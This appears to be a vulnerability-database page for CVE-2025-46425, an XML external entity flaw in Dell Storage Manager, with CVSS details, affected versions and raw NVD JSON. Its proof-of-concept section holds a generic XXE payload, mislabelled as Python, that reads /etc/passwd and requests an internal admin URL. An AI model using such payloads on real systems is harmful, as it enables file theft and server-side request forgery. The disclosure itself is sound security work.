Security Vulnerability Report
中文
CVE-2025-46425 CVSS 6.5 MEDIUM

CVE-2025-46425

Published: 2025-10-24 14:15:42
Last Modified: 2025-11-04 14:26:41

Description

Dell Storage Center - Dell Storage Manager, version(s) 20.1.20, contain(s) an Improper Restriction of XML External Entity Reference vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:dell:storage_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dell:storage_manager:2020:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dell:storage_manager:2020:r1.10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dell:storage_manager:2020:r1.2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dell:storage_manager:2020:r1.20:*:*:*:*:*:* - VULNERABLE
Dell Storage Manager 20.1.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!ENTITY xxe_ssrf SYSTEM "http://internal-server:8080/admin"> ]> <root> <query>&xxe;</query> <config>&xxe_ssrf;</config> </root>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46425", "sourceIdentifier": "[email protected]", "published": "2025-10-24T14:15:42.337", "lastModified": "2025-11-04T14:26:41.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell Storage Center - Dell Storage Manager, version(s) 20.1.20, contain(s) an Improper Restriction of XML External Entity Reference vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:storage_manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "2020", "matchCriteriaId": "F19B1117-55A1-46EC-A046-BE3B99EC4900"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dell:storage_manager:2020:r1:*:*:*:*:*:*", "matchCriteriaId": "567442CC-381B-43A1-ADE9-AE00075021D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dell:storage_manager:2020:r1.10:*:*:*:*:*:*", "matchCriteriaId": "B978EFB1-877F-4091-A401-F1861229E033"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dell:storage_manager:2020:r1.2:*:*:*:*:*:*", "matchCriteriaId": "263E78BD-D8C0-480F-9EED-D5496708CFCD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dell:storage_manager:2020:r1.20:*:*:*:*:*:*", "matchCriteriaId": "1055DB85-9105-44E5-9CEB-509C7F7041FE"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000382899/dsa-2025-393-security-update-for-storage-center-dell-storage-manager-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}